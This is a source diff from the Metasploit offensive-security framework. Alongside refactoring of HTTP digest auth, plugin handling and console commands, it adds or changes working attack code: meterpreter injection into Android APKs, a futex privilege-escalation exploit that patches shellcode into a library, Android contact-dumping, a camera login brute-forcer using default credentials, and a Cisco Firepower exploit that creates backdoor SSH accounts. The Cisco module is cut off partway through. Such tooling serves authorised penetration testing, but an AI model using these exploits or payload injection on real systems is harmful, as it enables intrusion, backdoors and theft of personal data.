@ -80,10 +80,6 @@ module Exploit::Remote::HttpClient
)
register_autofilter_ports([ 80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443 ])
register_autofilter_services(%W{ http https })
# Used by digest auth
@cnonce = make_cnonce
@nonce_count = -1
end
@ -769,10 +765,6 @@ module Exploit::Remote::HttpClient
fprint[:signature]
end
def make_cnonce
Digest::MD5.hexdigest "%x" % (Time.now.to_i + rand(65535))
end
protected
attr_accessor :client

View File

@ -151,7 +151,11 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
# @return [Boolean] the user has selected a javascript (non-native) target
def js_target?
target.arch[0] == ARCH_FIREFOX
if target.arch
target.arch[0] == ARCH_FIREFOX
else
false
end
end
end

View File

@ -68,7 +68,7 @@ class Msf::Payload::Apk
}
end
def fix_manifest(tempdir)
def fix_manifest(tempdir, package)
#Load payload's manifest
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
@ -98,8 +98,12 @@ class Msf::Payload::Apk
end
application = original_manifest.at_xpath('/manifest/application')
application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml
application << payload_manifest.at_xpath('/manifest/application/service').to_xml
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
service = payload_manifest.at_xpath('/manifest/application/service')
receiver.attributes["name"].value = package + receiver.attributes["name"].value
service.attributes["name"].value = package + service.attributes["name"].value
application << receiver.to_xml
application << service.to_xml
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
end
@ -207,6 +211,7 @@ class Msf::Payload::Apk
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
package = amanifest.xpath("//manifest").first['package']
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
package_slash = package.gsub(/\./, "/")
print_status "Adding payload as package #{package}\n"
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
@ -232,7 +237,7 @@ class Msf::Payload::Apk
injected_apk = "#{tempdir}/output.apk"
aligned_apk = "#{tempdir}/aligned.apk"
print_status "Poisoning the manifest with meterpreter permissions..\n"
fix_manifest(tempdir)
fix_manifest(tempdir, package)
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")

View File

@ -68,6 +68,10 @@ class PluginManager < Array
Kernel.load(path + ".rb")
end
# Force unloading if already loaded
plugin = self.find { |p| p.class == klass }
unload(plugin) if plugin
# Create an instance of the plugin and let it initialize
instance = klass.create(framework, opts)

View File

@ -17,32 +17,32 @@ class RPC_Plugin < RPC_Base
# # Load the nexpose plugin
# rpc.call('plugin.load', 'nexpose')
def rpc_load(path, xopts = {})
opts = {}
opts = {}
xopts.each do |k,v|
xopts.each do |k, v|
if k.class == String
opts[k.to_sym] = v
end
end
if (path !~ /#{File::SEPARATOR}/)
if path !~ /#{File::SEPARATOR}/
plugin_file_name = path
# If the plugin isn't in the user direcotry (~/.msf3/plugins/), use the base
path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name
if not File.exist?( path + ".rb" )
if not File.exist?(path + ".rb")
# If the following "path" doesn't exist it will be caught when we attempt to load
path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name
end
end
begin
if (inst = self.framework.plugins.load(path, opts))
return { "result" => "success" }
if self.framework.plugins.load(path, opts)
return { "result" => "success" }
end
rescue ::Exception => e
elog("Error loading plugin #{path}: #{e}\n\n#{e.backtrace.join("\n")}", src = 'core', level = 0, from = caller)
return { "result" => "failure" }
elog("Error loading plugin #{path}: #{e}\n\n#{e.backtrace.join("\n")}", 'core', 0, caller)
return { "result" => "failure" }
end
end
@ -57,15 +57,16 @@ class RPC_Plugin < RPC_Base
# @example Here's how you would use this from the client:
# rpc.call('plugin.unload', 'nexpose')
def rpc_unload(name)
self.framework.plugins.each { |plugin|
# Unload the plugin if it matches the name we're searching for
if (plugin.name == name)
self.framework.plugins.unload(plugin)
return { "result" => "success" }
end
}
return { "result" => "failure" }
# Find a plugin within the plugins array
plugin = self.framework.plugins.find { |p| p.name == name }
# Unload the plugin if it matches the name we're searching for
if plugin
self.framework.plugins.unload(plugin)
return { "result" => "success" }
end
{ "result" => "failure" }
end
@ -78,7 +79,7 @@ class RPC_Plugin < RPC_Base
def rpc_loaded
ret = {}
ret[:plugins] = []
self.framework.plugins.each do |plugin|
self.framework.plugins.each do |plugin|
ret[:plugins] << plugin.name
end
ret

View File

@ -43,6 +43,8 @@ module SingleCommandShell
# Read data until we find the token
#
def shell_read_until_token(token, wanted_idx=0, timeout=10)
return if timeout.to_i == 0
if (wanted_idx == 0)
parts_needed = 2
else

View File

@ -88,7 +88,8 @@ class Core
@@history_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-a" => [ false, "Show all commands in history." ],
"-n" => [ true, "Show the last n commands." ])
"-n" => [ true, "Show the last n commands." ],
"-u" => [ false, "Show only unique commands." ])
@@irb_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
@ -480,6 +481,7 @@ class Core
def cmd_history(*args)
length = Readline::HISTORY.length
uniq = false
if length < @history_limit
limit = length
@ -498,6 +500,8 @@ class Core
else
limit = val.to_i
end
when "-u"
uniq = true
when "-h"
cmd_history_help
return false
@ -508,6 +512,9 @@ class Core
pad_len = length.to_s.length
(start..length-1).each do |pos|
if uniq && Readline::HISTORY[pos] == Readline::HISTORY[pos-1]
next unless pos == 0
end
cmd_num = (pos + 1).to_s
print_line "#{cmd_num.ljust(pad_len)} #{Readline::HISTORY[pos]}"
end
@ -518,7 +525,6 @@ class Core
print_line
print_line "Shows the command history."
print_line "If -n is not set, only the last #{@history_limit} commands will be shown."
print_line
print @@history_opts.usage
end
@ -1236,7 +1242,7 @@ class Core
session.response_timeout = response_timeout
end
output = session.run_cmd cmd
output = session.run_cmd(cmd, driver.output)
end
end
when 'kill'
@ -1653,16 +1659,15 @@ class Core
return false
end
# Walk the plugins array
framework.plugins.each { |plugin|
# Unload the plugin if it matches the name we're searching for
if (plugin.name.downcase == args[0].downcase)
print("Unloading plugin #{args[0]}...")
framework.plugins.unload(plugin)
print_line("unloaded.")
break
end
}
# Find a plugin within the plugins array
plugin = framework.plugins.find { |p| p.name.downcase == args[0].downcase }
# Unload the plugin if it matches the name we're searching for
if plugin
print("Unloading plugin #{args[0]}...")
framework.plugins.unload(plugin)
print_line("unloaded.")
end
end
#

View File

@ -86,6 +86,7 @@ class Db
def cmd_workspace_help
print_line "Usage:"
print_line " workspace List workspaces"
print_line " workspace -v List workspaces verbosely"
print_line " workspace [name] Switch workspace"
print_line " workspace -a [name] ... Add workspace(s)"
print_line " workspace -d [name] ... Delete workspace(s)"
@ -111,6 +112,8 @@ class Db
delete_all = true
when '-r','--rename'
renaming = true
when '-v'
verbose = true
else
names ||= []
names << arg
@ -177,11 +180,40 @@ class Db
return
end
else
# List workspaces
framework.db.workspaces.each do |s|
pad = (s.name == framework.db.workspace.name) ? "* " : " "
print_line("#{pad}#{s.name}")
workspace = framework.db.workspace
unless verbose
framework.db.workspaces.each do |ws|
pad = (ws == workspace) ? '* ' : ' '
print_line("#{pad}#{ws.name}")
end
return
end
col_names = %w{current name hosts services vulns creds loots notes}
tbl = Rex::Text::Table.new(
'Header' => 'Workspaces',
'Columns' => col_names,
'SortIndex' => -1
)
# List workspaces
framework.db.workspaces.each do |ws|
tbl << [
ws == workspace ? '*' : '',
ws.name,
ws.hosts.count,
ws.services.count,
ws.vulns.count,
ws.core_credentials.count,
ws.loots.count,
ws.notes.count
]
end
print_line
print_line(tbl.to_s)
end
}
end

View File

@ -27,7 +27,7 @@ module Msf
def commands
{
"back" => "Move back from the current context",
"edit" => "Edit the current module with $VISUAL or $EDITOR",
"edit" => "Edit the current module with the preferred editor",
"advanced" => "Displays advanced options for one or more modules",
"info" => "Displays information about one or more modules",
"options" => "Displays global options or for one or more modules",
@ -61,18 +61,17 @@ module Msf
"Module"
end
def local_editor
Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') || '/usr/bin/vim'
framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR')
end
def cmd_edit_help
msg = "Edit the currently active module"
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($VISUAL or $EDITOR must be set first)"}."
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "(LocalEditor or $VISUAL/$EDITOR should be set first)"}."
print_line "Usage: edit"
print_line
print_line msg
print_line "When done editing, you must reload the module with 'reload' or 'rexploit'."
print_line "When done editing, you must reload the module with 'reload' or 'rerun'."
print_line
end
@ -80,20 +79,22 @@ module Msf
# Edit the currently active module
#
def cmd_edit
unless local_editor
print_error "$VISUAL or $EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'"
return
end
if active_module
path = active_module.file_path
print_status "Launching #{local_editor} #{path}"
system(local_editor,path)
editor = local_editor
path = active_module.file_path
if editor.nil?
editor = 'vim'
print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.")
end
print_status("Launching #{editor} #{path}")
system(editor, path)
else
print_error "Nothing to edit -- try using a module first."
print_error('Nothing to edit -- try using a module first.')
end
end
def cmd_advanced_help
print_line 'Usage: advanced [mod1 mod2 ...]'
print_line

View File

@ -33,12 +33,21 @@ class Datagram < Rex::Post::Meterpreter::Channel
'udp'
end
def recvfrom_nonblock(length,flags = nil)
return [super(length, flags)[0], super(length, flags)[0]]
def recvfrom_nonblock(length, flags = 0)
data = super(length, flags)[0]
sockaddr = super(length, flags)[0]
[data, sockaddr]
end
def send(buf, flags, saddr)
channel.send(buf, flags, saddr)
#
# This should work just like a UDPSocket.send method
#
# send(mesg, flags, host, port) => numbytes_sent click to toggle source
# send(mesg, flags, sockaddr_to) => numbytes_sent
# send(mesg, flags) => numbytes_sent
#
def send(buf, flags, a = nil, b = nil)
channel.send(buf, flags, a, b)
end
end
@ -53,17 +62,12 @@ class Datagram < Rex::Post::Meterpreter::Channel
)
if peerhost && peerport
# Maxlen here is 65507, to ensure we dont overflow, we need to write twice
# If the other side has a full 64k, handle by splitting up the datagram and
# writing multiple times along with the sockaddr. Consumers calling recvfrom
# repeatedly will buffer up all the pieces.
while data.length > 65507
rsock.syswrite(data[0..65506])
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport))
data = data - data[0..65506]
end
rsock.syswrite(data)
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport))
# A datagram can be maximum 65507 bytes, truncate longer messages
rsock.syswrite(data[0..65506])
# We write the data and sockaddr data to the local socket, the pop it
# back in recvfrom_nonblock.
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost, peerport))
return true
else
return false

View File

@ -272,7 +272,7 @@ class Android < Extension
end
def send_sms(dest, body, dr)
request = Packet.create_request('android_android_send_sms')
request = Packet.create_request('android_send_sms')
request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
request.add_tlv(TLV_TYPE_SMS_BODY, body)
request.add_tlv(TLV_TYPE_SMS_DR, dr)

View File

@ -77,24 +77,41 @@ class UdpChannel < Rex::Post::Meterpreter::Datagram
end
#
# This function is called by Rex::Socket::Udp.sendto and writes data to a specified
# remote peer host/port via the remote end of the channel.
# This function is called by Rex::Socket::Udp.sendto and writes data to a
# specified remote peer host/port via the remote end of the channel.
#
def send(buf, flags, saddr)
_af, peerhost, peerport = Rex::Socket.from_sockaddr(saddr)
# This should work just like a UDPSocket.send method
#
# send(mesg, flags, host, port) => numbytes_sent click to toggle source
# send(mesg, flags, sockaddr_to) => numbytes_sent
# send(mesg, flags) => numbytes_sent
#
def send(buf, flags, a = nil, b = nil)
host = nil
port = nil
addends = [
{
'type' => TLV_TYPE_PEER_HOST,
'value' => peerhost
},
{
'type' => TLV_TYPE_PEER_PORT,
'value' => peerport
}
]
if a && b.nil?
_, host, port = Rex::Socket.from_sockaddr(a)
elsif a && b
host = a
port = b
end
return _write(buf, buf.length, addends)
addends = nil
if host && port
addends = [
{
'type' => TLV_TYPE_PEER_HOST,
'value' => host
},
{
'type' => TLV_TYPE_PEER_PORT,
'value' => port
}
]
end
_write(buf, buf.length, addends)
end
end

View File

@ -279,11 +279,13 @@ class Console::CommandDispatcher::Android
end
def cmd_dump_contacts(*args)
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}"
format = :text
dump_contacts_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ true, 'Output path for contacts list']
'-o' => [ true, 'Output path for contacts list' ],
'-f' => [ true, 'Output format for contacts list (text, csv, vcard)' ]
)
dump_contacts_opts.parse(args) do |opt, _idx, val|
@ -295,6 +297,18 @@ class Console::CommandDispatcher::Android
return
when '-o'
path = val
when '-f'
case val
when 'text'
format = :text
when 'csv'
format = :csv
when 'vcard'
format = :vcard
else
print_error('Invalid output format specified')
return
end
end
end
@ -303,33 +317,62 @@ class Console::CommandDispatcher::Android
if contact_list.count > 0
print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
begin
info = client.sys.config.sysinfo
data = ''
data = ""
data << "\n======================\n"
data << "[+] Contacts list dump\n"
data << "======================\n\n"
case format
when :text
info = client.sys.config.sysinfo
path << '.txt' unless path.end_with?('.txt')
time = Time.new
data << "Date: #{time.inspect}\n"
data << "OS: #{info['OS']}\n"
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
data << "\n======================\n"
data << "[+] Contacts list dump\n"
data << "======================\n\n"
contact_list.each_with_index do |c, index|
time = Time.new
data << "Date: #{time.inspect}\n"
data << "OS: #{info['OS']}\n"
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
data << "##{index.to_i + 1}\n"
data << "Name\t: #{c['name']}\n"
contact_list.each_with_index do |c, index|
c['number'].each do |n|
data << "Number\t: #{n}\n"
data << "##{index.to_i + 1}\n"
data << "Name\t: #{c['name']}\n"
c['number'].each do |n|
data << "Number\t: #{n}\n"
end
c['email'].each do |n|
data << "Email\t: #{n}\n"
end
data << "\n"
end
when :csv
path << '.csv' unless path.end_with?('.csv')
c['email'].each do |n|
data << "Email\t: #{n}\n"
contact_list.each do |contact|
data << contact.values.to_csv
end
when :vcard
path << '.vcf' unless path.end_with?('.vcf')
data << "\n"
contact_list.each do |contact|
data << "BEGIN:VCARD\n"
data << "VERSION:3.0\n"
data << "FN:#{contact['name']}\n"
contact['number'].each do |number|
data << "TEL:#{number}\n"
end
contact['email'].each do |email|
data << "EMAIL:#{email}\n"
end
data << "END:VCARD\n"
end
end
::File.write(path, data)

View File

@ -310,12 +310,18 @@ class Client
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
end
def make_cnonce
Digest::MD5.hexdigest "%x" % (Time.now.to_i + rand(65535))
end
# Send a series of requests to complete Digest Authentication
#
# @param opts [Hash] the options used to build an HTTP request
# @return [Response] the last valid HTTP response we received
def digest_auth(opts={})
@nonce_count = 0
cnonce = make_cnonce
nonce_count = 0
to = opts['timeout'] || 20
@ -330,7 +336,7 @@ class Client
end
begin
@nonce_count += 1
nonce_count += 1
resp = opts['response']
@ -387,7 +393,7 @@ class Client
[
algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"),
parameters['nonce'],
@cnonce
cnonce
].join ':'
else
"#{digest_user}:#{parameters['realm']}:#{digest_password}"
@ -397,7 +403,7 @@ class Client
ha2 = algorithm.hexdigest("#{method}:#{path}")
request_digest = [ha1, parameters['nonce']]
request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop
request_digest.push(('%08x' % nonce_count), cnonce, qop) if qop
request_digest << ha2
request_digest = request_digest.join ':'
@ -407,8 +413,8 @@ class Client
"realm=\"#{parameters['realm']}\"",
"nonce=\"#{parameters['nonce']}\"",
"uri=\"#{path}\"",
"cnonce=\"#{@cnonce}\"",
"nc=#{'%08x' % @nonce_count}",
"cnonce=\"#{cnonce}\"",
"nc=#{'%08x' % nonce_count}",
"algorithm=#{algstr}",
"response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"",
# The spec says the qop value shouldn't be enclosed in quotes, but

View File

@ -67,7 +67,7 @@ Gem::Specification.new do |spec|
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.2.6'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.4'
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.6'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.

View File

@ -14,7 +14,9 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Tomcat Administration Tool Default Access',
'Description' => 'Detect the Tomcat administration interface.',
'Description' => 'Detect the Tomcat administration interface. The administration interface is included in versions 5.5 and lower.
Port 8180 is the default for FreeBSD, 8080 for all others.',
# version of admin interface source: O'Reilly Tomcat The Definitive Guide, page 82
'References' =>
[
['URL', 'http://tomcat.apache.org/'],
@ -25,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary
register_options(
[
Opt::RPORT(8180),
Opt::RPORT(8180), # 8180 is default for FreeBSD. All other OSes it's 8080
OptString.new('TOMCAT_USER', [ false, 'The username to authenticate as', '']),
OptString.new('TOMCAT_PASS', [ false, 'The password for the specified username', '']),
], self.class)

View File

@ -14,7 +14,7 @@ class MetasploitModule < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'Advantech WebAccess SQL Injection',
'Name' => 'Advantech WebAccess DBVisitor.dll ChartThemeConfig SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability found in Advantech WebAccess 7.1. The
vulnerability exists in the DBVisitor.dll component, and can be abused through malicious

View File

@ -0,0 +1,137 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/login_scanner/bavision_cameras'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'BAVision IP Camera Web Server Login',
'Description' => %q{
This module will attempt to authenticate to an IP camera created by BAVision via the
web service. By default, the vendor ships a default credential admin:123456 to its
cameras, and the web server does not enforce lockouts in case of a bruteforce attack.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE
))
register_options(
[
OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:123456', false])
], self.class)
end
def scanner(ip)
@scanner ||= lambda {
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
if datastore['TRYDEFAULT']
# Add the default username and password
print_status("Default credential admin:123456 added to the credential queue for testing.")
cred_collection.add_public('admin')
cred_collection.add_private('123456')
end
return Metasploit::Framework::LoginScanner::BavisionCameras.new(
configure_http_login_scanner(
host: ip,
port: datastore['RPORT'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
http_username: datastore['HttpUsername'],
http_password: datastore['HttpPassword']
))
}.call
end
def report_good_cred(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: result.status,
proof: result.proof
}.merge(service_data)
create_credential_login(login_data)
end
def report_bad_cred(ip, rport, result)
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
end
def bruteforce(ip)
scanner(ip).scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
report_good_cred(ip, rport, result)
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
report_bad_cred(ip, rport, result)
when Metasploit::Model::Login::Status::INCORRECT
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
report_bad_cred(ip, rport, result)
end
end
end
def run_host(ip)
unless scanner(ip).check_setup
print_brute(:level => :error, :ip => ip, :msg => 'Target is not BAVision IP camera web server.')
return
end
bruteforce(ip)
end
end

View File

@ -64,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
print_brute :level => :verror, :ip => ip, :msg => result.proof
end
invalidate_login(credential_data)
:abort

View File

@ -8,7 +8,7 @@ require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
@ -42,8 +42,6 @@ class MetasploitModule < Msf::Auxiliary
password = nil
begin
# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create( {
'LocalHost' => datastore['CHOST'] || nil,
'PeerHost' => ip,

View File

@ -32,52 +32,142 @@ class MetasploitModule < Msf::Exploit::Local
[ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ],
[ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ],
],
'SessionTypes' => [ 'meterpreter' ],
'Platform' => 'android',
'Targets' => [[ 'Automatic', { }]],
'Arch' => ARCH_DALVIK,
'DisclosureDate' => "May 03 2014",
'SessionTypes' => [ 'meterpreter' ],
'Platform' => [ "android", "linux" ],
'Payload' => { 'Space' => 2048, },
'DefaultOptions' =>
{
'PAYLOAD' => 'android/meterpreter/reverse_tcp',
},
{
'WfsDelay' => 300,
'PAYLOAD' => 'linux/armle/mettle/reverse_tcp',
},
'DefaultTarget' => 0,
'DisclosureDate' => "May 03 2014"
'Targets' => [
# Automatic targetting via getprop ro.build.model
['Automatic Targeting', { 'auto' => true }],
# This is the default setting, Nexus 4, 5, 7, etc
['Default',
{
'new_samsung' => false,
'iovstack' => 2,
'offset' => 0,
'force_remove' => false,
}
],
# Samsung devices, S4, S5, etc
['New Samsung',
{
'new_samsung' => true,
'iovstack' => 2,
'offset' => 7380,
'force_remove' => true,
}
],
# Older Samsung devices, e.g the Note 2
['Old Samsung',
{
'new_samsung' => false,
'iovstack' => 1,
'offset' => 0,
'force_remove' => true,
}
],
# Samsung Galaxy Grand, etc
['Samsung Grand',
{
'new_samsung' => false,
'iovstack' => 5,
'offset' => 0,
'force_remove' => true,
}
],
]
}
))
register_options([
OptString.new("WritableDir", [ true, "Temporary directory to write files", "/data/local/tmp/" ]),
], self.class)
end
def put_local_file(remotefile)
localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" )
data = File.read(localfile, {:mode => 'rb'})
write_file(remotefile, data)
end
def exploit
if target['auto']
product = cmd_exec("getprop ro.build.product")
fingerprint = cmd_exec("getprop ro.build.fingerprint")
print_status("Found device: #{product}")
print_status("Fingerprint: #{fingerprint}")
if [
"mako",
"m7",
"hammerhead",
"grouper",
"Y530-U00",
"G6-U10",
"g2",
"w7n",
"D2303",
"cancro",
].include? product
my_target = targets[1] # Default
elsif [
"klte",
"jflte",
].include? product
my_target = targets[2] # New Samsung
elsif [
"t03g",
"m0",
].include? product
my_target = targets[3] # Old Samsung
elsif [
"baffinlite",
"Vodafone_785",
].include? product
my_target = targets[4] # Samsung Grand
else
print_status("Could not automatically target #{product}")
my_target = targets[1] # Default
end
else
my_target = target
end
print_status("Using target: #{my_target.name}")
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.so" )
exploit_data = File.read(local_file, {:mode => 'rb'})
# Substitute the exploit shellcode with our own
space = payload_space
payload_encoded = payload.encoded
exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
# Apply the target config
offsets = my_target.opts
config_buf = [
offsets['new_samsung'] ? -1 : 0,
offsets['iovstack'].to_i,
offsets['offset'].to_i,
offsets['force_remove'] ? -1 : 0,
].pack('I4')
exploit_data.gsub!("c0nfig" + "\x00" * 10, config_buf)
workingdir = session.fs.dir.getwd
exploitfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
payloadfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
write_file(remote_file, exploit_data)
put_local_file(exploitfile)
cmd_exec('/system/bin/chmod 700 ' + exploitfile)
write_file(payloadfile, payload.raw)
tmpdir = datastore['WritableDir']
rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}"
rootpayload = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}.jar"
rootcmd = " mkdir #{rootclassdir} && "
rootcmd += "cd #{rootclassdir} && "
rootcmd += "cp " + payloadfile + " #{rootpayload} && "
rootcmd += "chmod 766 #{rootpayload} && "
rootcmd += "dalvikvm -Xbootclasspath:/system/framework/core.jar -cp #{rootpayload} com.metasploit.stage.Payload"
process = session.sys.process.execute(exploitfile, rootcmd, {'Hidden' => true, 'Channelized' => true})
process.channel.read
print_status("Loading exploit library #{remote_file}")
session.core.load_library(
'LibraryFilePath' => local_file,
'TargetFilePath' => remote_file,
'UploadLibrary' => false,
'Extension' => false,
'SaveToDisk' => false
)
print_status("Loaded library #{remote_file}, deleting")
session.fs.file.rm(remote_file)
print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
end
end

View File

@ -0,0 +1,294 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Cisco Firepower Management Console.
The management system contains a configuration flaw that allows the www user to
execute the useradd binary, which can be abused to create backdoor accounts.
Authentication is required to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matt', # Original discovery & PoC
'sinn3r' # Metasploit module
],
'References' =>
[
[ 'CVE', '2016-6433' ],
[ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ]
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 10 2016',
'CmdStagerFlavor'=> %w{ echo },
'DefaultOptions' =>
{
'SSL' => 'true',
'SSLVersion' => 'Auto',
'RPORT' => 443
},
'DefaultTarget' => 0))
register_options(
[
# admin:Admin123 is the default credential for 6.0.1
OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),
OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),
OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']),
OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']),
OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),
OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console\'s SSH port', 22])
], self.class)
end
def check
# For this exploit to work, we need to check two services:
# * HTTP - To create the backdoor account for SSH
# * SSH - To execute our payload
vprint_status('Checking Cisco Firepower Management console...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213')
})
if res && res.code == 200
vprint_status("Console is found.")
vprint_status("Checking SSH service.")
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(rhost, 'admin',
port: datastore['SSHPORT'],
password: Rex::Text.rand_text_alpha(5),
auth_methods: ['password'],
non_interactive: true
)
end
rescue Timeout::Error
vprint_error('The SSH connection timed out.')
return Exploit::CheckCode::Unknown
rescue Net::SSH::AuthenticationFailed
# Hey, it talked. So that means SSH is running.
return Exploit::CheckCode::Appears
rescue Net::SSH::Exception => e
vprint_error(e.message)
end
end
Exploit::CheckCode::Safe
end
def get_sf_action_id(sid)
requirements = {}
print_status('Attempting to obtain sf_action_id from rulesimport.cgi')
uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => "CGISESSID=#{sid}"
})
unless res
fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.')
end
sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1]
unless sf_action_id
fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi')
end
sf_action_id
end
def create_ssh_backdoor(sid, user, pass)
